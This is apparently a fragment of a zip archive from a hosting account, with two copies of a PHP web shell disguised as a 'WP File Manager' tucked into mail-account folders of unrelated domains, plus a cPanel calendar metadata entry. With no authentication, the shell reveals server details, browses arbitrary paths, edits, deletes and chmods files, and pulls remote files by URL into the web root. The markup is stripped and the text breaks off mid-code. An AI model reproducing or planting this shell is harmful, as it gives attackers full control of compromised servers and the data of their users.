'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ë'ilir.lajqi@matrix-financials.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]–éç†BB dafina@drsupernova.com/.metadatanu„[µü¤[calendar] description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 type VCALENDAR [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK‘&{]„N9³§Ë§Ëdafina@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = 